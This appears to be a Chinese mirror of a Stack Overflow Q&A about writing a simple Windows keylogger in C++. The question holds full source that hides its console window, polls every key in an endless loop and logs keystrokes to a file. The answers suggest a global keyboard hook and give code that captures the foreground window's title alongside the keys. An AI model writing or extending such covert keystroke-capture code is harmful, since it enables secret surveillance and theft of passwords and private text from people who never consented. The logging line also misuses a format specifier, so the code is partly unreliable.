C ++简单的键盘记录程序

时间:2013-03-13 17:49:02

标签: c++ winapi keylogger

我正在尝试使用WinAPI在C ++中编写一个简单的键盘记录器。有没有办法获取用户正在键入捕获的击键的应用程序? 到目前为止,这是我的代码:

#include <iostream>
#include <windows.h>
#include <winuser.h>

using namespace std;

int main()
{
    HWND Stealth;
    AllocConsole();
    Stealth = FindWindowA("ConsoleWindowClass", NULL);
    ShowWindow(Stealth,0);
    char i;

while (1)
{
    for(i = 8; i <= 190; i++)
    {
        if (GetAsyncKeyState(i) == -32767)
        {
            FILE *OUTPUT_FILE;
            OUTPUT_FILE = fopen("LOG.txt", "a+");
            int c=static_cast<int>(i);
            fprintf(OUTPUT_FILE, "%s", &c);
            fclose (OUTPUT_FILE);
        }
    }
}
system ("PAUSE");
return 0;
}

2 个答案:

答案 0 :(得分:3)

你想要的是global keyboard hook

  

全局钩子监视同一桌面中所有线程的消息   调用线程。特定于线程的挂钩仅监视消息   个人主题。可以在中调用全局钩子过程   与调用线程在同一桌面中的任何应用程序的上下文,   所以该过程必须在一个单独的DLL模块中。特定于线程   钩子过程仅在关联线程的上下文中调用。   如果应用程序为其自己的某个安装了一个钩子过程   线程,钩子程序可以在与...相同的模块中   其余的应用程序代码或DLL。如果申请   为不同应用程序的线程安装一个钩子程序   过程必须在DLL中。有关信息,请参阅动态链接   库。

答案 1 :(得分:0)

因为问题是“有没有办法获取用户输入捕获的击键的应用程序?” 我会说使用HWND WINAPI GetForegroundWindow(void);

例如:

char cWindow[MAX_PATH];
GetWindowTextA(GetForegroundWindow(), cWindow, sizeof(cWindow));

在cWindow中,您将获得用户正在键入的窗口的标题。